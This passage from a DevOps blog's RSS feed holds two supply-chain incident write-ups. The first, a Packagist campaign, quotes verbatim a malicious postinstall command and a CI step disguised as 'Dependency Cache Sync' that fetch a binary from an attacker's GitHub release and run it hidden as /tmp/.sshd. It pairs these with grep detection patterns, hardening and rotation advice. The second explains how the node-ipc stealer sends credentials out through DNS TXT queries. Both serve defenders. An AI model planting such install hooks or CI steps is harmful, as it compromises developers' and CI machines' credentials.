          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-exact-payload"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the literal command the attacker added to <code>package.json</code>&#39;s <code>scripts.postinstall</code> field:</p>
<pre><code class="hljs language-bash">curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2&gt;/dev/null &amp;&amp; <span class="hljs-built_in">chmod</span> +x /tmp/.sshd &amp;&amp; /tmp/.sshd &amp;
</code></pre><p>Four things to notice:</p>
<ol>
<li><code>-s</code> suppresses curl&#39;s progress meter, <code>-k</code> skips TLS certificate verification, <code>-L</code> follows redirects. The verification skip is the tell. Nothing legitimate downloads a release binary with <code>-k</code>.</li>
<li>The output path <code>/tmp/.sshd</code> is chosen to look like a system file. A casual <code>ls /tmp</code> won&#39;t see it (leading dot is hidden), and a <code>ps aux | grep ssh</code> returns a process that looks like the real OpenSSH daemon.</li>
<li><code>2&gt;/dev/null</code> discards stderr, so a failed download produces no log line.</li>
<li>The <code>&amp;</code> at the end forks the binary into the background and returns immediately. From the CI runner&#39;s perspective, <code>npm install</code> finished cleanly. The malicious binary is now running.</li>
</ol>
<p>The binary itself (<code>gvfsd-network</code>) was hosted at:</p>
<pre><code class="hljs language-text">https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network
</code></pre><p>Both the file name and the repo name are deliberate noise. <code>gvfsd-network</code> looks like a GNOME virtual filesystem helper. <code>systemd-network-helper-aa5c751f</code> looks like an internal systemd component with a commit-hash suffix. Neither is real. The attacker yanked the binary from GitHub Releases before Socket could grab a sample, so we don&#39;t know what stage 2 did, but the install pattern (background binary, hidden path, suppressed errors) is consistent with a credential stealer or a persistent C2 beacon, which is what every other Shai-Hulud and Mini-Shai-Hulud wave this month has shipped.</p>
<h2 id="h2-the-packagejson-trick" class="group relative scroll-mt-24">
        <a href="#h2-the-packagejson-trick" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The package.json trick
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-packagejson-trick"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Composer packages are PHP. Their canonical manifest is <code>composer.json</code>. A PHP team&#39;s dependency review pipeline reads <code>composer.json</code> and <code>composer.lock</code>. They look for new dependencies, version bumps, suspicious authors, and anything weird in <code>scripts</code> (Composer has its own <code>scripts</code> system that runs PHP class methods).</p>
<p>Composer packages can also ship <code>package.json</code> for their build-time JavaScript assets. <code>devdojo/wave</code> is a Laravel starter that includes a Tailwind UI; the repo carries both manifests. When you <code>composer require devdojo/wave</code>, Composer doesn&#39;t run npm scripts. But the project&#39;s <code>package.json</code> is now sitting in your <code>vendor/devdojo/wave/</code> directory, and the moment your build pipeline does an <code>npm install</code> against it (or against your monorepo from its root, picking up nested <code>node_modules</code>), the <code>postinstall</code> hook fires.</p>
<p>That is the only ecosystem boundary the attacker had to cross. Their malicious commit looks like a normal commit to a Composer package, with a one-line addition to a file PHP devs never read.</p>
<p>This is not theoretical. Every Laravel project with a Vite or Tailwind build has the dual-manifest shape. Every npm package that ships native bindings has both <code>package.json</code> and <code>binding.gyp</code>. Every Cargo crate that vendors a Python wheel has both <code>Cargo.toml</code> and <code>pyproject.toml</code>. The defender pattern of &quot;audit the manifest of the ecosystem we think we are in&quot; is wrong every time.</p>
<h2 id="h2-the-github-actions-re-infection-vector" class="group relative scroll-mt-24">
        <a href="#h2-the-github-actions-re-infection-vector" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The GitHub Actions re-infection vector
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-github-actions-re-infection-vector"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Socket also found the same install command embedded in <code>.github/workflows/ci.yml</code> of <code>448776129/UA2F</code>, a public fork of <code>Zxilly/UA2F</code>, as a workflow step named <strong>Dependency Cache Sync</strong>.</p>
<pre><code class="hljs language-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Dependency</span> <span class="hljs-string">Cache</span> <span class="hljs-string">Sync</span>
  <span class="hljs-attr">run:</span> <span class="hljs-string">|
    curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2&gt;/dev/null \
      &amp;&amp; chmod +x /tmp/.sshd \
      &amp;&amp; /tmp/.sshd &amp;</span>
</code></pre><p>The step name is the malicious part. &quot;Dependency Cache Sync&quot; sounds like a routine step you&#39;d skim past in a PR review. It looks like every other CI cache step you&#39;ve seen.</p>
<p>Why this matters: the GitHub Actions step survives the Packagist cleanup. Packagist removed the bad versions, but a fork that already merged the malicious workflow step keeps re-infecting its own CI runner on every push. If those runners have OIDC tokens for cloud accounts, or push permissions back to the upstream repo, that re-infection turns into a propagation loop that the original cleanup did nothing about.</p>
<p>If the original Packagist take-down felt like the end of the story when you saw the news yesterday, this is the part that isn&#39;t done.</p>
<h2 id="h2-are-you-exposed-one-liner-grep" class="group relative scroll-mt-24">
        <a href="#h2-are-you-exposed-one-liner-grep" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are you exposed? One-liner grep
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-exposed-one-liner-grep"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The fast check across every repo you maintain locally. From a parent directory:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Find any package.json scripts that download a binary from a GitHub release</span>
<span class="hljs-comment"># and pipe it into /tmp/. Catches the parikhpreyash4 campaign and any near-copies.</span>
find . -name package.json -not -path <span class="hljs-string">&#x27;*/node_modules/*&#x27;</span> -print0 \
  | xargs -0 grep -l -E <span class="hljs-string">&#x27;curl.*github\.com.*releases.*-o /tmp/\.&#x27;</span> 2&gt;/dev/null
</code></pre><p>And for already-installed Composer dependencies on a running app, check <code>vendor/</code>:</p>
<pre><code class="hljs language-bash">find vendor -name package.json -print0 \
  | xargs -0 grep -l -E <span class="hljs-string">&#x27;curl.*github\.com.*releases.*-o /tmp/\.&#x27;</span> 2&gt;/dev/null
</code></pre><p>The narrower check for the exact known IoCs:</p>
<pre><code class="hljs language-bash">grep -RE <span class="hljs-string">&#x27;parikhpreyash4|systemd-network-helper-aa5c751f|/tmp/\.sshd&#x27;</span> \
  --include=<span class="hljs-string">&#x27;package.json&#x27;</span> --include=<span class="hljs-string">&#x27;*.yml&#x27;</span> --include=<span class="hljs-string">&#x27;*.yaml&#x27;</span> \
  -l . 2&gt;/dev/null
</code></pre><p>On a running CI runner, also check for the binary itself:</p>
<pre><code class="hljs language-bash"><span class="hljs-built_in">ls</span> -la /tmp/.sshd 2&gt;/dev/null \
  &amp;&amp; ps auxf | awk <span class="hljs-string">&#x27;/[\.]sshd|sshd / {print}&#x27;</span>
</code></pre><p>A real OpenSSH daemon will be <code>/usr/sbin/sshd</code>. A process running from <code>/tmp/.sshd</code> is the malware, regardless of how it shows up in <code>ps</code>.</p>
<h2 id="h2-hardening-make-ci-look-at-every-manifest" class="group relative scroll-mt-24">
        <a href="#h2-hardening-make-ci-look-at-every-manifest" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Hardening: make CI look at every manifest
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-hardening-make-ci-look-at-every-manifest"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The structural fix is to scan every manifest in every repo, regardless of what language you think the repo is. A minimal GitHub Actions step that does the right thing:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">Cross-manifest</span> <span class="hljs-string">dependency</span> <span class="hljs-string">audit</span>
<span class="hljs-attr">on:</span>
  <span class="hljs-attr">pull_request:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">main</span>]

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">audit:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>

      <span class="hljs-comment"># Run Socket&#x27;s scanner against every manifest in the repo, not just</span>
      <span class="hljs-comment"># the one matching the primary language. Socket reads composer.json,</span>
      <span class="hljs-comment"># package.json, requirements.txt, Cargo.toml, go.mod, and others —</span>
      <span class="hljs-comment"># so a Composer repo with a hidden package.json hook gets caught.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Socket</span> <span class="hljs-string">audit</span> <span class="hljs-string">(every</span> <span class="hljs-string">manifest)</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">SocketDev/socket-security-action@v1</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">api-key:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.SOCKET_API_KEY</span> <span class="hljs-string">}}</span>

      <span class="hljs-comment"># A defense-in-depth grep for the install-time-script pattern. Cheap,</span>
      <span class="hljs-comment"># zero deps, catches obvious cases even on repos that don&#x27;t have a</span>
      <span class="hljs-comment"># Socket org set up.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Grep</span> <span class="hljs-string">for</span> <span class="hljs-string">install-time</span> <span class="hljs-string">binary</span> <span class="hljs-string">downloads</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          set -euo pipefail
          MATCHES=$(grep -rE &#x27;curl.*github\.com.*releases.*-o /tmp/\.&#x27; \
            --include=&#x27;package.json&#x27; --include=&#x27;composer.json&#x27; \
            --include=&#x27;*.yml&#x27; --include=&#x27;*.yaml&#x27; \
            . || true)
          if [ -n &quot;$MATCHES&quot; ]; then
            echo &quot;::error::Install hook downloads binary to /tmp/. Refusing build.&quot;
            echo &quot;$MATCHES&quot;
            exit 1
          fi</span>
</code></pre><p>Two things to wire into your branch protection on top of that:</p>
<ul>
<li><strong>Block any PR that adds or modifies a <code>postinstall</code>, <code>preinstall</code>, or <code>install</code> script in <code>package.json</code></strong> without a CODEOWNERS review by your security team. This is policy, not tooling. Your CODEOWNERS file can target <code>package.json</code> directly.</li>
<li><strong>Pin Composer dependencies to tags, not branches.</strong> Every package in this campaign was compromised on <code>dev-main</code>, <code>dev-master</code>, or <code>3.x-dev</code>. If your <code>composer.json</code> has <code>&quot;devdojo/wave&quot;: &quot;dev-main&quot;</code>, Composer pulls whatever the branch HEAD is at install time, which is exactly what attackers want. Pin to a semver tag instead: <code>&quot;devdojo/wave&quot;: &quot;^1.4.2&quot;</code>.</li>
</ul>
<p>For GitHub Actions workflows, set <code>permissions: contents: read</code> at the workflow level and require explicit elevation in any step that needs <code>write</code>. A &quot;Dependency Cache Sync&quot; step that needs <code>contents: write</code> to push a binary download into <code>/tmp/</code> is suddenly very visible in a PR diff.</p>
<h2 id="h2-if-you-were-exposed-rotation-order" class="group relative scroll-mt-24">
        <a href="#h2-if-you-were-exposed-rotation-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you were exposed: rotation order
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-were-exposed-rotation-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Same drill as every other supply chain compromise in May. If a runner or developer machine executed the postinstall hook, treat everything reachable from that machine as burned.</p>
<ol>
<li><strong>GitHub tokens first.</strong> <code>gh auth logout</code>, revoke every PAT at <a href="https://github.com/settings/tokens">https://github.com/settings/tokens</a>, reissue with minimum scope. Doing this first prevents the attacker from pushing a worm-propagation commit to repos you maintain.</li>
<li><strong>Cloud STS sessions.</strong> AWS: revoke active sessions for the IAM role that the runner used. GCP: <code>gcloud auth revoke --all</code>. Azure: <code>az logout &amp;&amp; az account clear</code>.</li>
<li><strong>Long-lived cloud keys.</strong> Rotate IAM access keys, GCP service account JSON keys, Azure SP credentials. Anything that was on disk in <code>~/.aws/credentials</code> or the equivalent.</li>
<li><strong>SSH keys.</strong> Reissue keypairs. Remove the compromised machine&#39;s public key from every <code>authorized_keys</code> it sat in.</li>
<li><strong>Kubeconfig.</strong> Rotate the cluster CA-signed certs for the user.</li>
<li><strong>App secrets.</strong> Anything in <code>.env</code>, anything in your secrets manager that the runner had pull access to.</li>
<li><strong>Composer auth tokens.</strong> <code>~/.composer/auth.json</code> holds Packagist credentials, private repository tokens, and GitHub OAuth for Composer. Rotate them.</li>
</ol>
<p>Then nuke <code>/tmp/.sshd</code> and any running process from it, and rebuild the runner from a known-clean image. Don&#39;t try to clean up in place. The binary was background-forked, it could have written persistence elsewhere, and you can&#39;t grep your way to confidence on a host that ran an unknown stage-2 binary.</p>
<h2 id="h2-why-this-keeps-happening" class="group relative scroll-mt-24">
        <a href="#h2-why-this-keeps-happening" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why this keeps happening
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-keeps-happening"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the fifth coordinated supply chain campaign we&#39;ve covered in the last six weeks. AntV (Shai-Hulud worm hitting <code>@antv</code> packages and <code>echarts-for-react</code>). TanStack (npm + GitHub Actions cache poisoning + dead-man&#39;s switch). node-ipc (DNS-tunneling credential exfil). The two PyPI / npm Mini-Shai-Hulud waves. Now this one.</p>
<p>The pattern is consistent: attackers are getting better at finding the seam between two systems where the defender&#39;s review process stops. TanStack exploited the seam between forked PRs and trusted CI cache. node-ipc exploited the seam between HTTPS egress controls and DNS resolution. This one exploited the seam between PHP review and JavaScript review on a repo that carries both.</p>
<p>The fix is not another tool. It&#39;s the operational discipline of looking at every manifest, every workflow, every script that runs on your build infrastructure, regardless of what language you think the project is. The teams that get hit are the ones that built their dependency-review process around one language and never thought about what happens when a Composer package ships a <code>package.json</code>.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The May 22 Packagist campaign hit 8 packages and 700+ GitHub repos by hiding a <code>postinstall</code> hook in <code>package.json</code> instead of <code>composer.json</code>. PHP review pipelines missed it. The same install command shows up in <code>.github/workflows/ci.yml</code> files under the name &quot;Dependency Cache Sync&quot; as a re-infection vector that survives the package cleanup.</p>
<p>Today&#39;s actions for any team running PHP:</p>
<ul>
<li>Grep every <code>package.json</code> in <code>vendor/</code> and in your own repos for <code>curl ... /tmp/.</code>.</li>
<li>Pin Composer dependencies to tags, not branches.</li>
<li>Add CODEOWNERS protection on <code>package.json</code> install-script changes.</li>
<li>Run a cross-manifest scanner in CI so the next attacker hiding in the other ecosystem&#39;s file gets flagged before merge.</li>
</ul>
<p>Sources: <a href="https://socket.dev/blog/malicious-postinstall-hook-found-across-700-github-repos">Socket&#39;s original disclosure</a>, <a href="https://cybersecuritynews.com/laravel-lang-packages-compromised/">Cybersecurity News coverage of the Laravel-Lang variant</a>, and the Aikido write-up on <a href="https://www.aikido.dev/blog/supply-chain-attack-targets-laravel-lang-packages-with-credential-stealer">Laravel-Lang credential stealer</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[node-ipc DNS-Tunneling Supply Chain Attack: Your Egress Firewall Probably Missed This]]></title>
      <link>https://devops.anhp.site/posts/node-ipc-dns-exfil-supply-chain-may-2026</link>
      <description><![CDATA[On May 14, 2026, three malicious versions of the node-ipc npm package shipped a payload that hunts AWS, SSH, kubeconfig, and GitHub CLI credentials, then smuggles them out through DNS TXT queries. Most orgs filter HTTPS egress. Almost nobody filters DNS. Here is what the payload does and how to close the gap.]]></description>
      <pubDate>Fri, 22 May 2026 20:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/node-ipc-dns-exfil-supply-chain-may-2026</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[Supply Chain]]></category><category><![CDATA[Security]]></category><category><![CDATA[npm]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[CICD]]></category><category><![CDATA[DNS]]></category>
      <content:encoded><![CDATA[<p>On May 14, 2026, three new versions of <code>node-ipc</code> showed up on the npm registry within minutes of each other: <code>9.1.6</code>, <code>9.2.3</code>, and <code>12.0.1</code>. All three carried an identical 80 KB obfuscated payload injected into the package&#39;s CommonJS bundle. Inside that payload was a credential stealer that hunts more than 100 categories of sensitive files and then exfiltrates the spoils through <strong>DNS TXT queries</strong>, not HTTP.</p>
<p>That last detail is the part this post is about. Almost every supply chain post-mortem in the last twelve months ends with the same advice: pin your lockfiles, enable provenance, block outbound traffic to known-bad domains. All good advice. None of it catches an attacker who hides the stolen data inside DNS resolution traffic that your CI runners and developer laptops were going to make anyway.</p>
<p>node-ipc has roughly 822K weekly downloads and is a transitive dependency of a long list of CLI tools and frameworks. If your stack pulls it, even four levels deep, the install-time payload runs as whatever user ran <code>npm install</code>, with whatever cloud, SSH, and Kubernetes credentials that user has access to.</p>
<p>This post is the practical version: what the payload does, why DNS exfil works on most networks, the egress filtering you can ship in an afternoon, and the order to rotate if you ran any of the bad versions.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Three malicious node-ipc versions: <code>9.1.6</code>, <code>9.2.3</code>, <code>12.0.1</code>, published 2026-05-14. Identical 80 KB payload in each.</li>
<li>Targets: AWS / GCP / Azure tokens, SSH private keys, kubeconfig, <code>.env</code> files, GitHub CLI tokens, Anthropic and OpenAI keys, Bitwarden vaults, and around 90 other credential categories.</li>
<li>Exfil: payload chunks the stolen data, encrypts it, and embeds the ciphertext in DNS TXT lookups to attacker-controlled domains. Every developer machine and CI runner can resolve DNS by default, so the traffic blends in.</li>
<li>Likely vector: maintainer account compromise on npm. The repo on GitHub was clean during the window the bad packages were live.</li>
<li>If you ran a bad version, treat every secret reachable from that machine as burned and rotate in this order: GitHub tokens, cloud STS sessions, long-lived cloud keys, SSH keys, kubeconfig, app secrets.</li>
<li>Hardening: lock CI runners and developer laptops to a small DNS allowlist (your resolver + your DoH provider), log DNS queries, and alert on TXT queries to non-allowlisted domains. None of this needs new tooling.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Familiarity with <code>npm install</code> and lockfile semantics.</li>
<li>A network where you control the egress path for at least one set of machines (CI runners are the highest-value target).</li>
<li><code>dig</code>, <code>tcpdump</code>, or your cloud&#39;s DNS query logs to verify what the actual baseline of outbound DNS looks like.</li>
</ul>
<h2 id="h2-what-the-payload-actually-does" class="group relative scroll-mt-24">
        <a href="#h2-what-the-payload-actually-does" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the payload actually does
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-payload-actually-does"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When a project pulls a bad node-ipc version, the malicious CommonJS bundle runs as part of the package&#39;s normal entrypoint. Three things happen, in order.</p>
<p><strong>1. File harvest.</strong> The payload walks <code>$HOME</code>, the working directory, and a handful of well-known config paths looking for credential files. The list includes obvious targets (<code>~/.aws/credentials</code>, <code>~/.config/gcloud/application_default_credentials.json</code>, <code>~/.azure/</code>, <code>~/.ssh/id_*</code>, <code>~/.kube/config</code>) plus a long tail of the things that have leaked in previous Shai-Hulud waves (<code>~/.config/gh/hosts.yml</code>, <code>~/.npmrc</code>, <code>~/.pypirc</code>, <code>.env</code>, <code>.env.local</code>, <code>~/.config/Code/User/settings.json</code> for VS Code Anthropic keys). It also picks up Bitwarden CLI vault paths, Anthropic / OpenAI / Mistral keys from their canonical locations, and the Cursor / Continue.dev config directories.</p>
<p><strong>2. Encryption and chunking.</strong> The harvested blob is encrypted with a key derived from a hardcoded attacker public key (so only they can read it), then base32-encoded and split into chunks small enough to fit inside a DNS label. DNS labels are capped at 63 characters each and the full FQDN at 253 characters, which constrains how much you can stuff into one query. The payload uses sequence prefixes (<code>c00-</code>, <code>c01-</code>, ...) so the attacker&#39;s authoritative server can reassemble.</p>
<p><strong>3. Exfil via DNS TXT lookups.</strong> For each chunk, the payload issues a DNS TXT query for <code>&lt;chunk&gt;.&lt;sequence&gt;.&lt;victim-id&gt;.&lt;attacker-domain&gt;</code>. The OS resolver dutifully forwards the query upstream. Eventually it hits the attacker&#39;s authoritative name server, which logs the query, returns a junk TXT answer, and now has another piece of your <code>~/.aws/credentials</code>.</p>
<p>The clever bit is the resolver hop. The payload itself never opens a socket to the attacker. The OS resolver does, on its behalf, to whatever DNS forwarder you have configured. If your CI runner can resolve <code>npmjs.com</code> to install packages in the first place, it can also resolve <code>&lt;stolen-credentials&gt;.&lt;attacker-domain&gt;</code> without anything looking obviously wrong.</p>
<h2 id="h2-why-most-egress-controls-miss-this" class="group relative scroll-mt-24">
        <a href="#h2-why-most-egress-controls-miss-this" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why most egress controls miss this
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-most-egress-controls-miss-this"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Pretty much every &quot;secure your CI&quot; post you have read goes something like: lock down outbound HTTPS to a small allowlist of registries (<code>registry.npmjs.org</code>, your container registry, GitHub) and block everything else. That is a real control. Most network egress filtering at this layer is implemented via a HTTP CONNECT proxy, an AWS Network Firewall rule, or a Cilium L7 policy.</p>
